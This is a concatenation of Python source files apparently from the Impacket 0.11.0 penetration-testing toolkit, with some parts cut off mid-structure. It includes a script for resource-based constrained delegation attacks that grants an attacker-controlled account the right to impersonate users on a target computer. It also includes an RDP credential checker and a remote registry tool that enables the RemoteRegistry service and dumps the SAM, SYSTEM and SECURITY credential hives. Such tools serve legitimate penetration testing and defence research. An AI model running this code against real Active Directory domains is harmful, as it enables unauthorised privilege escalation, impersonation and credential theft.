ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): from pyasn1.codec.ber import encoder, decoder from pyasn1.type.univ import noValue """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises an Exception if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False target = 'ldap/%s' % target if useCache: domain, user, TGT, TGS = CCache.parseFile(domain, user, target) # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) # Done with the Kerberos saga, now let's get into LDAP if connection.closed: # try to open connection if closed connection.open(read_server_info=False) connection.sasl_in_progress = True response = connection.post_send_single_response(connection.send('bindRequest', request, None)) connection.sasl_in_progress = False if response[0]['result'] != 0: raise Exception(response) connection.bound = True return True def create_empty_sd(): sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd['Revision'] = b'\x01' sd['Sbz1'] = b'\x00' sd['Control'] = 32772 sd['OwnerSid'] = ldaptypes.LDAP_SID() # BUILTIN\Administrators sd['OwnerSid'].fromCanonical('S-1-5-32-544') sd['GroupSid'] = b'' sd['Sacl'] = b'' acl = ldaptypes.ACL() acl['AclRevision'] = 4 acl['Sbz1'] = 0 acl['Sbz2'] = 0 acl.aces = [] sd['Dacl'] = acl return sd # Create an ALLOW ACE with the specified sid def create_allow_ace(sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE nace['AceFlags'] = 0x00 acedata = ldaptypes.ACCESS_ALLOWED_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = 983551 # Full control acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata return nace class RBCD(object): """docstring for setrbcd""" def __init__(self, ldap_server, ldap_session, delegate_to): super(RBCD, self).__init__() self.ldap_server = ldap_server self.ldap_session = ldap_session self.delegate_from = None self.delegate_to = delegate_to self.SID_delegate_from = None self.DN_delegate_to = None logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) def read(self): # Get target computer DN result = self.get_user_info(self.delegate_to) if not result: logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') return self.DN_delegate_to = result[0] # Get list of allowed to act self.get_allowed_to_act() return def write(self, delegate_from): self.delegate_from = delegate_from # Get escalate user sid result = self.get_user_info(self.delegate_from) if not result: logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') return self.SID_delegate_from = str(result[1]) # Get target computer DN result = self.get_user_info(self.delegate_to) if not result: logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') return self.DN_delegate_to = result[0] # Get list of allowed to act and build security descriptor including previous data sd, targetuser = self.get_allowed_to_act() # writing only if SID not already in list if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]: sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from)) self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.ldap_session.result['result'] == 0: logging.info('Delegation rights modified successfully!') logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) else: if self.ldap_session.result['result'] == 50: logging.error('Could not modify object, the server reports insufficient rights: %s', self.ldap_session.result['message']) elif self.ldap_session.result['result'] == 19: logging.error('Could not modify object, the server reports a constrained violation: %s', self.ldap_session.result['message']) else: logging.error('The server returned an error: %s', self.ldap_session.result['message']) else: logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) logging.info('Not modifying the delegation rights.') # Get list of allowed to act self.get_allowed_to_act() return def remove(self, delegate_from): self.delegate_from = delegate_from # Get escalate user sid result = self.get_user_info(self.delegate_from) if not result: logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') return self.SID_delegate_from = str(result[1]) # Get target computer DN result = self.get_user_info(self.delegate_to) if not result: logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') return self.DN_delegate_to = result[0] # Get list of allowed to act and build security descriptor including that data sd, targetuser = self.get_allowed_to_act() # Remove the entries where SID match the given -delegate-from sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()] self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.ldap_session.result['result'] == 0: logging.info('Delegation rights modified successfully!') else: if self.ldap_session.result['result'] == 50: logging.error('Could not modify object, the server reports insufficient rights: %s', self.ldap_session.result['message']) elif self.ldap_session.result['result'] == 19: logging.error('Could not modify object, the server reports a constrained violation: %s', self.ldap_session.result['message']) else: logging.error('The server returned an error: %s', self.ldap_session.result['message']) # Get list of allowed to act self.get_allowed_to_act() return def flush(self): # Get target computer DN result = self.get_user_info(self.delegate_to) if not result: logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') return self.DN_delegate_to = result[0] # Get list of allowed to act sd, targetuser = self.get_allowed_to_act() self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]}) if self.ldap_session.result['result'] == 0: logging.info('Delegation rights flushed successfully!') else: if self.ldap_session.result['result'] == 50: logging.error('Could not modify object, the server reports insufficient rights: %s', self.ldap_session.result['message']) elif self.ldap_session.result['result'] == 19: logging.error('Could not modify object, the server reports a constrained violation: %s', self.ldap_session.result['message']) else: logging.error('The server returned an error: %s', self.ldap_session.result['message']) # Get list of allowed to act self.get_allowed_to_act() return def get_allowed_to_act(self): # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.ldap_session.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: logging.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) if len(sd['Dacl'].aces) > 0: logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') # Create DACL manually sd = create_empty_sd() return sd, targetuser def get_user_info(self, samname): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: dn = self.ldap_session.entries[0].entry_dn sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) return dn, sid except IndexError: logging.error('User not found in LDAP: %s' % samname) return False def get_sid_info(self, sid): self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname']) try: dn = self.ldap_session.entries[0].entry_dn samname = self.ldap_session.entries[0]['samaccountname'] return dn, samname except IndexError: logging.error('SID not found in LDAP: %s' % sid) return False def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.') parser.add_argument('identity', action='store', help='domain.local/username[:password]') parser.add_argument("-delegate-to", type=str, required=True, help="Target account the DACL is to be read/edited/etc.") parser.add_argument("-delegate-from", type=str, required=False, help="Attacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)") parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read', help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity') parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' 'omitted it will use the domain part (FQDN) specified in ' 'the identity parameter') if len(sys.argv) == 1: parser.print_help() sys.exit(1) return parser.parse_args() def parse_identity(args): domain, username, password = utils.parse_credentials(args.identity) if domain == '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: from getpass import getpass logging.info("No credentials supplied, supply password") password = getpass("Password:") if args.aesKey is not None: args.k = True if args.hashes is not None: lmhash, nthash = args.hashes.split(':') else: lmhash = '' nthash = '' return domain, username, password, lmhash, nthash def init_logger(args): # Init the example's logger theme and debug level logger.init(args.ts) if args.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) if tls_version is not None: use_ssl = True port = 636 tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version, ciphers='ALL:@SECLEVEL=0') else: use_ssl = False port = 389 tls = None ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) if args.k: ldap_session = ldap3.Connection(ldap_server) ldap_session.bind() ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) elif args.hashes is not None: ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) else: ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) return ldap_server, ldap_session def init_ldap_session(args, domain, username, password, lmhash, nthash): if args.k: target = get_machine_name(args, domain) else: if args.dc_ip is not None: target = args.dc_ip else: target = domain if args.use_ldaps is True: try: return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) except ldap3.core.exceptions.LDAPSocketOpenError: return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) else: return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) def main(): print(version.BANNER) args = parse_args() init_logger(args) if args.action == 'write' and args.delegate_from is None: logging.critical('`-delegate-from` should be specified when using `-action write` !') sys.exit(1) domain, username, password, lmhash, nthash = parse_identity(args) if len(nthash) > 0 and lmhash == "": lmhash = "aad3b435b51404eeaad3b435b51404ee" try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) rbcd = RBCD(ldap_server, ldap_session, args.delegate_to) if args.action == 'read': rbcd.read() elif args.action == 'write': rbcd.write(args.delegate_from) elif args.action == 'remove': rbcd.remove(args.delegate_from) elif args.action == 'flush': rbcd.flush() except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.error(str(e)) if __name__ == '__main__': main() impacket-impacket_0_11_0/examples/rdp_check.py000077500000000000000000000550621446174712300215430ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-RDPBCGR] and [MS-CREDSSP] partial implementation # just to reach CredSSP auth. This example test whether # an account is valid on the target host. # # Author: # Alberto Solino (@agsolino) # # ToDo: # [x] Manage to grab the server's SSL key so we can finalize the whole # authentication process (check [MS-CSSP] section 3.1.5) # from struct import pack, unpack from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.structure import Structure from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode TDPU_CONNECTION_REQUEST = 0xe0 TPDU_CONNECTION_CONFIRM = 0xd0 TDPU_DATA = 0xf0 TPDU_REJECT = 0x50 TPDU_DATA_ACK = 0x60 # RDP_NEG_REQ constants TYPE_RDP_NEG_REQ = 1 PROTOCOL_RDP = 0 PROTOCOL_SSL = 1 PROTOCOL_HYBRID = 2 # RDP_NEG_RSP constants TYPE_RDP_NEG_RSP = 2 EXTENDED_CLIENT_DATA_SUPPORTED = 1 DYNVC_GFX_PROTOCOL_SUPPORTED = 2 # RDP_NEG_FAILURE constants TYPE_RDP_NEG_FAILURE = 3 SSL_REQUIRED_BY_SERVER = 1 SSL_NOT_ALLOWED_BY_SERVER = 2 SSL_CERT_NOT_ON_SERVER = 3 INCONSISTENT_FLAGS = 4 HYBRID_REQUIRED_BY_SERVER = 5 SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 class TPKT(Structure): commonHdr = ( ('Version','B=3'), ('Reserved','B=0'), ('Length','>H=len(TPDU)+4'), ('_TPDU','_-TPDU','self["Length"]-4'), ('TPDU',':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator','B=len(VariablePart)+1'), ('Code','B=0'), ('VariablePart',':=""'), ) def __init__(self, data = None): Structure.__init__(self,data) self['VariablePart']='' class CR_TPDU(Structure): commonHdr = ( ('DST-REF',' # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_publickey(crypto.FILETYPE_ASN1, pkey) # Parsing the key from ASN1 encoded dump = dump[24:] cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = type3.getData() ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: logging.error("Access Denied") else: logging.error(err) return # 4. After the server receives the public key in step 3, it first verifies that # it has the same public key that it used as part of the TLS handshake in step 1. # The server then adds 1 to the first byte representing the public key (the ASN.1 # structure corresponding to the SubjectPublicKey field, as described in step 3) # and encrypts the binary result by using the SPNEGO encryption services. # Due to the addition of 1 to the binary data, and encryption of the data as a binary # structure, the resulting value may not be valid ASN.1-encoded values. # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest # structure and is sent over the encrypted TLS channel to the client. # The addition of 1 to the first byte of the public key is performed so that the # client-generated pubKeyAuth message cannot be replayed back to the client by an # attacker. # # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens # fields are omitted from the TSRequest structure. ts_request = TSRequest(buff) # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) # 5. After the client successfully verifies server authenticity by performing a # binary comparison of the data from step 4 to that of the data representing # the public key from the server's X.509 certificate (as specified in [RFC3280], # section 4.1), it encrypts the user's credentials (either password or smart card # PIN) by using the SPNEGO encryption services. The resulting value is # encapsulated in the authInfo field of the TSRequest structure and sent over # the encrypted TLS channel to the server. # The TSCredentials structure within the authInfo field of the TSRequest # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, # but MUST NOT contain both. # # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens # fields are omitted from the TSRequest structure. tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) tls.close() logging.info("Access Granted") # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target " "host using the RDP protocol.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() domain, username, password, address = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") check_rdp(address, username, password, domain, options.hashes) impacket-impacket_0_11_0/examples/reg.py000077500000000000000000000733551446174712300204030ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Remote registry manipulation tool. # The idea is to provide similar functionality as the REG.EXE Windows utility. # # e.g: # ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s # ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1 # ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService # ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share' # ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin # # Author: # Manuel Porto (@manuporto) # Alberto Solino (@agsolino) # # Reference for: # [MS-RRP] # from __future__ import division from __future__ import print_function import argparse import codecs import logging import sys import time from struct import unpack from impacket import version from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.system_errors import ERROR_NO_MORE_ITEMS from impacket.structure import hexdump from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5.dtypes import READ_CONTROL class RemoteOperations: def __init__(self, smbConnection, doKerberos, kdcHost=None): self.__smbConnection = smbConnection self.__smbConnection.setTimeout(5 * 60) self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__rrp = None self.__regHandle = None self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__disabled = False self.__shouldStop = False self.__started = False self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__scmr = None def getRRP(self): return self.__rrp def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) def connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) self.__serviceHandle = ans['lpServiceHandle'] # Let's check its status ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: logging.info('Service %s is in stopped state' % self.__serviceName) self.__shouldStop = True self.__started = False elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: logging.debug('Service %s is already running' % self.__serviceName) self.__shouldStop = False self.__started = True else: raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) # Let's check its configuration if service is stopped, maybe it's disabled :s if self.__started is False: ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle) if ans['lpServiceConfig']['dwStartType'] == 0x4: logging.info('Service %s is disabled, enabling it' % self.__serviceName) self.__disabled = True scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3) logging.info('Starting service %s' % self.__serviceName) scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) time.sleep(1) def enableRegistry(self): self.__connectSvcCtl() self.__checkServiceStatus() self.connectWinReg() def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) def finish(self): self.__restore() if self.__rrp is not None: self.__rrp.disconnect() if self.__scmr is not None: self.__scmr.disconnect() class RegHandler: def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__action = options.action.upper() self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None self.__remoteOps = None # It's possible that this is defined somewhere, but I couldn't find where self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def run(self, remoteName, remoteHost): self.connect(remoteName, remoteHost) self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) try: self.__remoteOps.enableRegistry() except Exception as e: logging.debug(str(e)) logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') self.__remoteOps.connectWinReg() try: dce = self.__remoteOps.getRRP() if self.__action == 'QUERY': self.query(dce, self.__options.keyName) elif self.__action == 'ADD': self.add(dce, self.__options.keyName) elif self.__action == 'DELETE': self.delete(dce, self.__options.keyName) elif self.__action == 'SAVE': self.save(dce, self.__options.keyName) elif self.__action == 'BACKUP': for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]: self.save(dce, hive) else: logging.error('Method %s not implemented yet!' % self.__action) except (Exception, KeyboardInterrupt) as e: #import traceback #traceback.print_exc() logging.critical(str(e)) finally: if self.__remoteOps: self.__remoteOps.finish() def save(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey) logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)" % keyName) try: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName) logging.info("Saved %s to %s" % (keyName, outputFileName)) except Exception as e: logging.error("Couldn't save %s: %s" % (keyName, e)) def query(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) if self.__options.v: print(keyName) value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) elif self.__options.ve: print(keyName) value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) elif self.__options.s: self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) else: print(keyName) self.__print_key_values(dce, ans2['phkResult']) i = 0 while True: try: key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) print(keyName + '\\' + key['lpNameOut'][:-1]) i += 1 except Exception: break # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) def add(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to 